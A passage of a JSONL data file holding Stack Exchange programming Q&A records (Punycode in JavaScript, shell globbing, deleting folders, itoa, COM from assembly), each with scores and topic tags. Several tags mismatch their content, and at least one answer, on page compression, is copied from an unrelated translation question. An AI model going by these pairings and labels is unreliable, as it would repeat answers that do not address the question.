510px; width: 767px;'>\n            <DIV id=map3d style=\"HEIGHT: 100%\">\n            </DIV>\n        </div>\n    </center>\n</body>\n</html>\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:20.837697"}
{"id": "hf_ee0113438582", "question": "<p>I'm looking for a XPath library to query over XML documents in FF, IE, Opera and Safari... and couldn't find one. Have you seen any?</p>\n", "question_body": "", "answer": "You could use the basic\nXPath plug-in for jQuery\nto get XPath query-ing functionality.\nAlso, you could consider reading this\narticle on XPath XML processing\n(again with jQuery)", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:21.009526"}
{"id": "hf_fd2d6c45ad10", "question": "<p>I need to convert the punycode <code>NIATO-OTABD</code> to <code>nñiñatoñ</code>.</p>\n\n<p>I found <a href=\"http://0xcc.net/jsescape/\" rel=\"noreferrer\">a text converter in JavaScript</a> the other day, but the punycode conversion doesn't work if there's a dash in the middle.</p>\n\n<p>Any suggestion to fix the \"dash\" issue?</p>\n", "question_body": "", "answer": "I took the time to create the punycode below. It it based on the C code in RFC 3492. To use it with domain names you have to remove/add\n```\nxn--\n```\nfrom/to the input/output to/from decode/encode.\nThe\n```\nutf16-class\n```\nis necessary to convert from JavaScripts internal character representation to unicode and back.\nThere are also\n```\nToASCII\n```\nand\n```\nToUnicode\n```\nfunctions to make it easier to convert between puny-coded IDN and ASCII.\n```\n```\n//Javascript Punycode converter derived from example in RFC3492.\n//This implementation is created by some@domain.name and released into public domain\nvar punycode = new function Punycode() {\n    // This object converts to and from puny-code used in IDN\n    //\n    // punycode.ToASCII ( domain )\n    // \n    // Returns a puny coded representation of \"domain\".\n    // It only converts the part of the domain name that\n    // has non ASCII characters. I.e. it dosent matter if\n    // you call it with a domain that already is in ASCII.\n    //\n    // punycode.ToUnicode (domain)\n    //\n    // Converts a puny-coded domain name to unicode.\n    // It only converts the puny-coded parts of the domain name.\n    // I.e. it dosent matter if you call it on a string\n    // that already has been converted to unicode.\n    //\n    //\n    this.utf16 = {\n        // The utf16-class is necessary to convert from javascripts internal character representation to unicode and back.\n        decode:function(input){\n            var output = [], i=0, len=input.length,value,extra;\n            while (i < len) {\n                value = input.charCodeAt(i++);\n                if ((value & 0xF800) === 0xD800) {\n                    extra = input.charCodeAt(i++);\n                    if ( ((value & 0xFC00) !== 0xD800) || ((extra & 0xFC00) !== 0xDC00) ) {\n                        throw new RangeError(\"UTF-16(decode): Illegal UTF-16 sequence\");\n                    }\n                    value = ((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000;\n                }\n                output.push(value);\n            }\n            return output;\n        },\n        encode:function(input){\n            var output = [], i=0, len=input.length,value;\n            while (i < len) {\n                value = input[i++];\n                if ( (value & 0xF800) === 0xD800 ) {\n                    throw new RangeError(\"UTF-16(encode): Illegal UTF-16 value\");\n                }\n                if (value > 0xFFFF) {\n                    value -= 0x10000;\n                    output.push(String.fromCharCode(((value >>>10) & 0x3FF) | 0xD800));\n                    value = 0xDC00 | (value & 0x3FF);\n                }\n                output.push(String.fromCharCode(value));\n            }\n            return output.join(\"\");\n        }\n    }\n\n    //Default parameters\n    var initial_n = 0x80;\n    var initial_bias = 72;\n    var delimiter = \"\\x2D\";\n    var base = 36;\n    var damp = 700;\n    var tmin=1;\n    var tmax=26;\n    var skew=38;\n    var maxint = 0x7FFFFFFF;\n\n    // decode_digit(cp) returns the numeric value of a basic code \n    // point (for use in representing integers) in the range 0 to\n    // base-1, or base if cp is does not represent a value.\n\n    function decode_digit(cp) {\n        return cp - 48 < 10 ? cp - 22 : cp - 65 < 26 ? cp - 65 : cp - 97 < 26 ? cp - 97 : base;\n    }\n\n    // encode_digit(d,flag) returns the basic code point whose value\n    // (when used for representing integers) is d, which needs to be in\n    // the range 0 to base-1. The lowercase form is used unless flag is\n    // nonzero, in which case the uppercase form is used. The behavior\n    // is undefined if flag is nonzero and digit d has no uppercase form. \n\n    function encode_digit(d, flag) {\n        return d + 22 + 75 * (d < 26) - ((flag != 0) << 5);\n        //  0..25 map to ASCII a..z or A..Z \n        // 26..35 map to ASCII 0..9\n    }\n    //** Bias adaptation function **\n    function adapt(delta, numpoints, firsttime ) {\n        var k;\n        delta = firsttime ? Math.floor(delta / damp) : (delta >> 1);\n        delta += Math.floor(delta / numpoints);\n\n        for (k = 0; delta > (((base - tmin) * tmax) >> 1); k += base) {\n                delta = Math.floor(delta / ( base - tmin ));\n        }\n        return Math.floor(k + (base - tmin + 1) * delta / (delta + skew));\n    }\n\n    // encode_basic(bcp,flag) forces a basic code point to lowercase if flag is zero,\n    // uppercase if flag is nonzero, and returns the resulting code point.\n    // The code point is unchanged if it is caseless.\n    // The behavior is undefined if bcp is not a basic code point.\n\n    function encode_basic(bcp, flag) {\n        bcp -= (bcp - 97 < 26) << 5;\n        return bcp + ((!flag && (bcp - 65 < 26)) << 5);\n    }\n\n    // Main decode\n    this.decode=function(input,preserveCase) {\n        // Dont use utf16\n        var output=[];\n        var case_flags=[];\n        var input_length = input.length;\n\n        var n, out, i, bias, basic, j, ic, oldi, w, k, digit, t, len;\n\n        // Initialize the state: \n\n        n = initial_n;\n        i = 0;\n        bias = initial_bias;\n\n        // Handle the basic code points: Let basic be the number of input code \n        // points before the last delimiter, or 0 if there is none, then\n        // copy the first basic code points to the output.\n\n        basic = input.lastIndexOf(delimiter);\n        if (basic < 0) basic = 0;\n\n        for (j = 0; j < basic; ++j) {\n            if(preserveCase) case_flags[output.length] = ( input.charCodeAt(j) -65 < 26);\n            if ( input.charCodeAt(j) >= 0x80) {\n                throw new RangeError(\"Illegal input >= 0x80\");\n            }\n            output.push( input.charCodeAt(j) );\n        }\n\n        // Main decoding loop: Start just after the last delimiter if any\n        // basic code points were copied; start at the beginning otherwise. \n\n        for (ic = basic > 0 ? basic + 1 : 0; ic < input_length; ) {\n\n            // ic is the index of the next character to be consumed,\n\n            // Decode a generalized variable-length integer into delta,\n            // which gets added to i. The overflow checking is easier\n            // if we increase i as we go, then subtract off its starting \n            // value at the end to obtain delta.\n            for (oldi = i, w = 1, k = base; ; k += base) {\n                    if (ic >= input_length) {\n                        throw RangeError (\"punycode_bad_input(1)\");\n                    }\n                    digit = decode_digit(input.charCodeAt(ic++));\n\n                    if (digit >= base) {\n                        throw RangeError(\"punycode_bad_input(2)\");\n                    }\n                    if (digit > Math.floor((maxint - i) / w)) {\n                        throw RangeError (\"punycode_overflow(1)\");\n                    }\n                    i += digit * w;\n                    t = k <= bias ? tmin : k >= bias + tmax ? tmax : k - bias;\n                    if (digit < t) { break; }\n                    if (w > Math.floor(maxint / (base - t))) {\n                        throw RangeError(\"punycode_overflow(2)\");\n                    }\n                    w *= (base - t);\n            }\n\n            out = output.length + 1;\n            bias = adapt(i - oldi, out, oldi === 0);\n\n            // i was supposed to wrap around from out to 0,\n            // incrementing n each time, so we'll fix that now: \n            if ( Math.floor(i / out) > maxint - n) {\n                throw RangeError(\"punycode_overflow(3)\");\n            }\n            n += Math.floor( i / out ) ;\n            i %= out;\n\n            // Insert n at position i of the output: \n            // Case of last character determines uppercase flag: \n            if (preserveCase) { case_flags.splice(i, 0, input.charCodeAt(ic -1) -65 < 26);}\n\n            output.splice(i, 0, n);\n            i++;\n        }\n        if (preserveCase) {\n            for (i = 0, len = output.length; i < len; i++) {\n                if (case_flags[i]) {\n                    output[i] = (String.fromCharCode(output[i]).toUpperCase()).charCodeAt(0);\n                }\n            }\n        }\n        return this.utf16.encode(output);\n    };\n\n    //** Main encode function **\n\n    this.encode = function (input,preserveCase) {\n        //** Bias adaptation function **\n\n        var n, delta, h, b, bias, j, m, q, k, t, ijv, case_flags;\n\n        if (preserveCase) {\n            // Preserve case, step1 of 2: Get a list of the unaltered string\n            case_flags = this.utf16.decode(input);\n        }\n        // Converts the input in UTF-16 to Unicode\n        input = this.utf16.decode(input.toLowerCase());\n\n        var input_length = input.length; // Cache the length\n\n        if (preserveCase) {\n            // Preserve case, step2 of 2: Modify the list to true/false\n            for (j=0; j < input_length; j++) {\n                case_flags[j] = input[j] != case_flags[j];\n            }\n        }\n\n        var output=[];\n\n        // Initialize the state: \n        n = initial_n;\n        delta = 0;\n        bias = initial_bias;\n\n        // Handle the basic code points: \n        for (j = 0; j < input_length; ++j) {\n            if ( input[j] < 0x80) {\n                output.push(\n                    String.fromCharCode(\n                        case_flags ? encode_basic(input[j], case_flags[j]) : input[j]\n                    )\n                );\n            }\n        }\n\n        h = b = output.length;\n\n        // h is the number of code points that have been handled, b is the\n        // number of basic code points \n\n        if (b > 0) output.push(delimiter);\n\n        // Main encoding loop: \n        //\n        while (h < input_length) {\n            // All non-basic code points < n have been\n            // handled already. Find the next larger one: \n\n            for (m = maxint, j = 0; j < input_length; ++j) {\n                ijv = input[j];\n                if (ijv >= n && ijv < m) m = ijv;\n            }\n\n            // Increase delta enough to advance the decoder's\n            // <n,i> state to <m,0>, but guard against overflow: \n\n            if (m - n > Math.floor((maxint - delta) / (h + 1))) {\n                throw RangeError(\"punycode_overflow (1)\");\n            }\n            delta += (m - n) * (h + 1);\n            n = m;\n\n            for (j = 0; j < input_length; ++j) {\n                ijv = input[j];\n\n                if (ijv < n ) {\n                    if (++delta > maxint) return Error(\"punycode_overflow(2)\");\n                }\n\n                if (ijv == n) {\n                    // Represent delta as a generalized variable-length integer: \n                    for (q = delta, k = base; ; k += base) {\n                        t = k <= bias ? tmin : k >= bias + tmax ? tmax : k - bias;\n                        if (q < t) break;\n                        output.push( String.fromCharCode(encode_digit(t + (q - t) % (base - t), 0)) );\n                        q = Math.floor( (q - t) / (base - t) );\n                    }\n                    output.push( String.fromCharCode(encode_digit(q, preserveCase && case_flags[j] ? 1:0 )));\n                    bias = adapt(delta, h + 1, h == b);\n                    delta = 0;\n                    ++h;\n                }\n            }\n\n            ++delta, ++n;\n        }\n        return output.join(\"\");\n    }\n\n    this.ToASCII = function ( domain ) {\n        var domain_array = domain.split(\".\");\n        var out = [];\n        for (var i=0; i < domain_array.length; ++i) {\n            var s = domain_array[i];\n            out.push(\n                s.match(/[^A-Za-z0-9-]/) ?\n                \"xn--\" + punycode.encode(s) :\n                s\n            );\n        }\n        return out.join(\".\");\n    }\n    this.ToUnicode = function ( domain ) {\n        var domain_array = domain.split(\".\");\n        var out = [];\n        for (var i=0; i < domain_array.length; ++i) {\n            var s = domain_array[i];\n            out.push(\n                s.match(/^xn--/) ?\n                punycode.decode(s.slice(4)) :\n                s\n            );\n        }\n        return out.join(\".\");\n    }\n}();\n\n// Example of usage:\ndomain.oninput = function() {\n    var input = domain.value\n    var ascii = punycode.ToASCII(input)\n    var display = punycode.ToUnicode(ascii)\n    domain_ascii.value = ascii\n    domain_display.value = display\n}\n```\n```\n```\n```\n<p>Try with your own data</p>\n\n<label>\n  <div>Input domain</div>\n  <div><input id=\"domain\" type=\"text\"></div>\n</label>\n<div>Ascii: <output id=\"domain_ascii\"></div>\n<div>Display: <output id=\"domain_display\"></div>\n```\n```\nLicence:\nFrom RFC3492:\nDisclaimer and license\nRegarding this entire document or any portion of it (including the pseudocode and C code), the author makes no guarantees and is not responsible for any damage resulting from its use. The author grants irrevocable permission to anyone to use, modify, and distribute it in any way that does not diminish the rights of anyone else to use, modify, and distribute it, provided that redistributed derivative works do not contain misleading author or version information. Derivative works need not be licensed under similar terms.\nI put my work in this punycode and utf16 in the public domain. It would be nice to get an email telling me in what project you use it.\nThe scope of the code\nEach TLD has rules for which code points are allowed. The scope of the code below is to encode and decode a string between punycode and the internal encoding used by javascript regardes of those rules.\nDepending on your use case, you may need to filter the string.\nFor example, 0xFE0F: Variation Selector-16, an invisible code point that specifies that the previous character should be displayed with emoji presentation.\nIf you search for \"allowed code points in IDN\" you should find several projects that can help you filter the string.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:21.133039"}
{"id": "hf_1ad50a56e6e8", "question": "<p>I need to compare strings in shell:</p>\n\n<pre><code>var1=\"mtu eth0\"\n\nif [ \"$var1\" == \"mtu *\" ]\nthen\n    # do something\nfi\n</code></pre>\n\n<p>But obviously the \"*\" doesn't work in Shell. Is there a way to do it?</p>\n", "question_body": "", "answer": "```\nbash\n```\nShortest fix:\n```\n```\nif [[ \"$var1\" = \"mtu \"* ]]\n```\n```\nBash's\n```\n[[ ]]\n```\ndoesn't get glob-expanded, unlike\n```\n[ ]\n```\n(which must, for historical reasons).\n```\nbash --posix\n```\nOh, I posted too fast.  Bourne shell, not Bash...\n```\n```\nif [ \"${var1:0:4}\" == \"mtu \" ]\n```\n```\n```\n${var1:0:4}\n```\nmeans the first four characters of\n```\n$var1\n```\n.\n```\n/bin/sh\n```\nAh, sorry.  Bash's POSIX emulation doesn't go far enough; a true original Bourne shell doesn't have\n```\n${var1:0:4}\n```\n.  You'll need something like mstrobl's solution.\n```\n```\nif [ \"$(echo \"$var1\" | cut -c0-4)\" == \"mtu \" ]\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:21.291131"}
{"id": "hf_9f6322834b6c", "question": "<p>In bash the ampersand (&amp;) can be used to run a command in the background and return interactive control to the user before the command has finished running. Is there an equivalent method of doing this in Powershell?</p>\n\n<p>Example of usage in bash:</p>\n\n<pre><code> sleep 30 &amp;\n</code></pre>\n", "question_body": "", "answer": "I've used the solution described here\nhttp://jtruher.spaces.live.com/blog/cns!7143DA6E51A2628D!130.entry\nsuccessfully in PowerShell v1.0.  It definitely will be easier in PowerShell v2.0.", "tags": ["bash", "powershell"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:21.646783"}
{"id": "hf_e402c2d7ebc8", "question": "<p>Is there a simple and lightweight program to search over a text file and replace a string with regex?</p>\n", "question_body": "", "answer": "For searching:\ngrep\n- simple and fast. Included with Linux,\nhere\n's a Windows version, not sure about Mac.\nFor replacing:\nsed\n.\nHere\n's a Windows version, not sure about Mac.\nOf course, if you want to actually open up a file and see its contents while you search and replace, you can use\nemacs\nfor that. Or\nConTEXT\n. Or\nvim\n. Or what have you. ;)\nSee also\nthis question\n.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:21.873154"}
{"id": "hf_e4434367a71d", "question": "<p>I want to delete a folder that contains thousands of files and folders. If I use Windows Explorer to delete the folder it can take 10-15 minutes (not always, but often). Is there a faster way in Windows to delete folders? </p>\n\n<p>Other details:</p>\n\n<ul>\n<li>I don't care about the recycle bin.</li>\n<li>It's an NTFS drive.</li>\n</ul>\n", "question_body": "", "answer": "Using Windows Command Prompt:\n```\n```\nrmdir /s /q folder\n```\n```\nUsing Powershell:\n```\n```\npowershell -Command \"Remove-Item -LiteralPath 'folder' -Force -Recurse\"\n```\n```\nNote that in more cases\n```\ndel\n```\nand\n```\nrmdir\n```\nwil leave you with leftover files, where Powershell manages to delete the files.", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:22.063518"}
{"id": "hf_45d9506e9c8d", "question": "<p>How is Oracle date implemented? Is it stored as milliseconds or something like that?</p>\n", "question_body": "", "answer": "An Oracle DATE stores the date and time to the second.  An Oracle TIMESTAMP stores the date and time to up to 9 digits of subsecond precision, depending on the available hardware.\nBoth are implemented by storing the various components of the date and the time in a packed binary format.  From the\nOracle Concepts Guide section on dates\nOracle uses its own internal format to\n  store dates. Date data is stored in\n  fixed-length fields of seven bytes\n  each, corresponding to century, year,\n  month, day, hour, minute, and second.\nYou can use the\nDUMP()\nfunction to see the internal representation of any particular date (or any other value for that matter), but that's probably more than you need (or want) to know.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:22.329811"}
{"id": "hf_b6e6206b198e", "question": "<p>I'd like to be able to run my aliases from my .bashrc in the \"Run Application\" dialog that comes up when you hit Alt+F2 in Ubuntu/Gnome.</p>\n\n<p>Does anyone know how to do this?</p>\n", "question_body": "", "answer": "http://www.freedesktop.org/wiki/Specifications\nis probably a good place to start. I find these quite hard to follow most of the time, but sometimes you can figure it out. Specifically, the \"Desktop Entry Specification\".\nAlso, I don't think you'll be able to use any aliases from\n```\n.bashrc\n```\n, at least not without writing some kind of wrapper script. I think it needs to be an executable file. Of course, you could just use the good old symlinks- to- same + what's- my- name trick...\n(Which, for reference, goes like this:\nMake a script which uses its own name as a parameter.\nMake symlinks to said script using the parameter values as the link names.)\nInvestigating...\nSome casual investigation reveals that creating these is fairly simple if you use Nautilus, (at least the version I have):\nBring up the context menu for some random file, and use \"Open With\"->\"Open with Other Application\".\nUnfold the \"Use a custom command\" and type in something like:\n```\nxterm -e 'bash -c \"unzip -l %f; sleep 5\"'\n```\nThis results in\nthe command being run (so don't type\n```\nrm -rf\n```\n)\na file in\n```\n~/.local/share/applications/\n```\ncalled\n```\nxterm-usercreated.desktop\n```\nHere at least, I get the follow file:\n```\n```\n[Desktop Entry]\nEncoding=UTF-8\nName=xterm\nMimeType=application/zip;\nExec=xterm -e 'bash -c \"unzip -l %f; sleep 5\"' %f\nType=Application\nTerminal=false\nNoDisplay=true\n```\n```\n4: Looking at the system xterm .desktop I find this:\n```\n```\n[Desktop Entry]\nType=Application\nEncoding=UTF-8\nName=XTerm\nGenericName=\nComment=XTerm: terminal emulator for X\nIcon=/usr/share/pixmaps/xterm-color_32x32.xpm\nExec=xterm\nTerminal=false\nCategories=X-Debian-Applications-Terminal-Emulators;\n```\n```\n5: Editing the .usercreated.desktop file to this:\n```\n```\n[Desktop Entry]                                                                 \nType=Application                                                                \nEncoding=UTF-8                                                                  \nName=xtermz                                                                     \nExec=xterm -e 'bash -c \"unzip -l %f; sleep 5\"' %f                               \nTerminal=false                                                                  \nCategories=X-Local-WTF\n```\n```\n6: Run xdg-desktop-menu forceupdate --mode user\n7: \"xtermz\" now shows up in the list... Success!\n8: Yuck! This also makes it appear in the main menu, under \"Other\". Weird!\nSome notes:\nIn my Debian/testing,\n```\nxdg-desktop-menu\n```\nand friends (notably\n```\nxdg-icon-resource\n```\n) live in the\n```\nxdg-utils\n```\npackage.\nYou should be able to create a\n```\n.desktop\n```\nfile from scratch.\nYou should be able to install the\n```\n.desktop\n```\nfile using\n```\nxdg-desktop-menu install\n```\nblah blah", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:22.450476"}
{"id": "hf_ffd8d5a1eb60", "question": "<p>In my database, I would like to store a decimal score. A score can have a value from 0 to 10, and values in between, such as 2.3 or 9.4.</p>\n\n<p>I recently learned that <strong>int</strong> only stores whole numbers and not decimals. I found out that you could use either <strong>double</strong> or <strong>decimal</strong>, but what I would like to know is if there is any difference at all?</p>\n\n<p>I'm currently using decimal.</p>\n", "question_body": "", "answer": "Decimals are more precise, doubles are more efficient, usually.\nWith decimal you can set how many digits you want to use before and after the decimal point.\nEdit:\nYou can set digit count for decimal\nand\ndouble, my bad.\nDecimals are better for things like money calculations where exactitude is absolutely necessary. Doubles are better suited for your specific case where the exactitude of the score is not critical.\nSee the\noverview of numeric types\nin the MySQL documentation for more information.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:22.669297"}
{"id": "hf_67621cba39b8", "question": "<p>The last cross platform desktop development I did was Java/Swing.  What about flex?</p>\n", "question_body": "", "answer": "I've used\nRealBasic from RealSoftware\nfor a few things just to play with it.  It can get expensive if you need the pro version.  It will allow you to build a stand alone binary for Linux, MacOS X, or Windows.  I'm more of a server side guy but it was pretty straight forward to create the few tools I wanted to try making with it.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:22.849104"}
{"id": "hf_71285ee38aa2", "question": "<p>I am looking for a way to take a user uploaded image that is currently put in a temporary location ex: /tmp/jkhjkh78 and create a php image from it, autodetecting the format.</p>\n\n<p>Is there a more clever way to do this than a bunch of try/catching with imagefromjpeg, imagefrompng, etc?</p>\n", "question_body": "", "answer": "You can call a system command (if you're under linux/unix),\n```\nfile\n```\nif you like:\n```\n```\nkender@eira:~$ file a\na: JPEG image data, EXIF standard 2.2\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:23.015774"}
{"id": "hf_0d035260d425", "question": "<p>Is it possible to call into COM objects via x86 assembly language? If so, how?</p>\n\n<p>Why would I want to do this? Let's say I've got two programs that I don't have source for - all I've got are the binaries. One of them implements a COM interface, the other doesn't. I want to inject code into the first program to call into the second using this COM interface, and this requires me to use x86 assembly.</p>\n", "question_body": "", "answer": "Of course it's possible - in effect that's what the C/C++ compiler does.\nBut why in God's name would you want to do this?  If it were for educational value, then surely doing the COM stuff by hand in straight C would do the trick.\nGiven the updated question, I'd suggest that you write the COM stuff in a DLL and inject that DLL into the program you want to patch, then patch in simple x86 code into the program to call your DLL that does the heavy lifting.  I don't recall the techniques for injecting a DLL into the address space of a process, but there are at least a couple.  The AppInit registry setting (or something like that) is one.\nHowever, I think that most of the avenues for injecting code into a process are considered security flaws (and have often been used by malware), so I suspect that Microsoft may have removed many if not most (or all) from more recent service packs or OS versions.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:23.179567"}
{"id": "hf_be4098cf2494", "question": "<p>When I use ApacheBench to test https, the error is returned, \"ssl handshake failed\".</p>\n\n<p>How can I use ApacheBench to test https?</p>\n", "question_body": "", "answer": "ApacheBench doesn't seem to be capable of ignoring certificate problems (at least some of them) so I wrote this script:\n```\n```\n#!/bin/bash\nK=200;    \nHTTPSA='https://192.168.1.103:443/'    \ndate +%M-%S-%N>wgetres.txt\nfor (( c=1; c<=$K; c++ ))\ndo\n    wget --no-check-certificate --secure-protocol=SSLv3 --spider $HTTPSA\ndone\ndate +%M-%S-%N>>wgetres.txt\n```\n```\nIt's not as precise as AB, but gives the idea. Does well in comparison tests.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:23.353452"}
{"id": "hf_791eb53e885b", "question": "<p>How do you keep the spoken languages strings in your program up to date?\nIs there an inexpensive way?  Where can you find people to do the conversions over time?</p>\n", "question_body": "", "answer": "There are companies which will translate resource files in the standard formats for fees; I think that's how most large companies do it.\nI asked a similar question recently\nhere\nabout the best way to structure code in a project to support this, with my additional desire to preserve the readable strings in code. This is not standard, though... usually you would put all the string resources into a separate file and refer to them by ID in the code, and have the file translated.\nSee .rc files for Windows C++, .resx files for .NET, not sure what exists for Linux/Mac/other, but I'm sure there are equivalents.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:23.478058"}
{"id": "hf_4f5b7ca0d5cc", "question": "<p>What are my options when it comes to implementing page compression is asp.net.Right now I have a custom home grown httpmodule and its not very mature.</p>\n\n<p><strike>Google links me to <a href=\"http://www.codeplex.com/MbCompression\" rel=\"nofollow noreferrer\">MbCompression</a>. The project has few views and downloads which discourages me a bit.</strike></p>\n\n<p>Edit: I am under shared hosting, which limits my access to IIS settings</p>\n", "question_body": "", "answer": "There are companies which will translate resource files in the standard formats for fees; I think that's how most large companies do it.\nI asked a similar question recently\nhere\nabout the best way to structure code in a project to support this, with my additional desire to preserve the readable strings in code. This is not standard, though... usually you would put all the string resources into a separate file and refer to them by ID in the code, and have the file translated.\nSee .rc files for Windows C++, .resx files for .NET, not sure what exists for Linux/Mac/other, but I'm sure there are equivalents.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:23.581035"}
{"id": "hf_2f606eaad72b", "question": "<p><code>itoa()</code> is a really handy function to convert a number to a string. Linux does not seem to have <code>itoa()</code>, is there an equivalent function or do I have to use <code>sprintf(str, \"%d\", num)</code>?</p>\n", "question_body": "", "answer": "EDIT: Sorry, I should have remembered that this machine is decidedly non-standard, having plugged in various non-standard\n```\nlibc\n```\nimplementations for academic purposes ;-)\nAs\n```\nitoa()\n```\nis indeed non-standard, as mentioned by several helpful commenters, it is best to use\n```\nsprintf(target_string,\"%d\",source_int)\n```\nor (better yet, because it's safe from buffer overflows)\n```\nsnprintf(target_string, size_of_target_string_in_bytes, \"%d\", source_int)\n```\n.  I know it's not quite as concise or cool as\n```\nitoa()\n```\n, but at least you can Write Once, Run Everywhere (tm) ;-)\nHere's the old (edited) answer\nYou are correct in stating that the default\n```\ngcc libc\n```\ndoes not include\n```\nitoa()\n```\n, like several other platforms, due to it not technically being a part of the standard.  See\nhere\nfor a little more info.  Note that you have to\n```\n```\n#include <stdlib.h>\n```\n```\nOf course you already know this, because you wanted to\nuse\n```\nitoa()\n```\non Linux after presumably using it on another platform, but... the code (stolen from the link above) would look like:\nExample\n```\n```\n/* itoa example */\n#include <stdio.h>\n#include <stdlib.h>\n\nint main ()\n{\n  int i;\n  char buffer [33];\n  printf (\"Enter a number: \");\n  scanf (\"%d\",&i);\n  itoa (i,buffer,10);\n  printf (\"decimal: %s\\n\",buffer);\n  itoa (i,buffer,16);\n  printf (\"hexadecimal: %s\\n\",buffer);\n  itoa (i,buffer,2);\n  printf (\"binary: %s\\n\",buffer);\n  return 0;\n}\n```\n```\nOutput:\n```\n```\nEnter a number: 1750\ndecimal: 1750\nhexadecimal: 6d6\nbinary: 11011010110\n```\n```\nHope this helps!", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:23.708076"}
{"id": "hf_79d1d4ba9222", "question": "<p>I need to programmatically get a list of running applications as shown in the \"Applications\" tab inside the Windows Task Manager using PowerShell or VBScript.</p>\n\n<p>All I could find so far is how to list processes using VBScript and WMI.</p>\n", "question_body": "", "answer": "This should do the trick:\n```\n```\nSet Word = CreateObject(\"Word.Application\")\nSet Tasks = Word.Tasks\nFor Each Task in Tasks\n   If Task.Visible Then Wscript.Echo Task.Name\nNext\nWord.Quit\n```\n```\nhttp://msdn.microsoft.com/en-us/library/bb212832.aspx", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:23.948280"}
{"id": "hf_248fe9df328b", "question": "<p>I thought this would be really simple, but it's presenting some difficulties. If I have</p>\n<pre><code>std::string name = &quot;John&quot;;\nint age = 21;\n</code></pre>\n<p>How do I combine them to get a single string <code>&quot;John21&quot;</code>?</p>\n", "question_body": "", "answer": "Common Answer:\nitoa()\nThis is bad.\n```\nitoa\n```\nis non-standard, as pointed out\nhere\n.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:24.141448"}
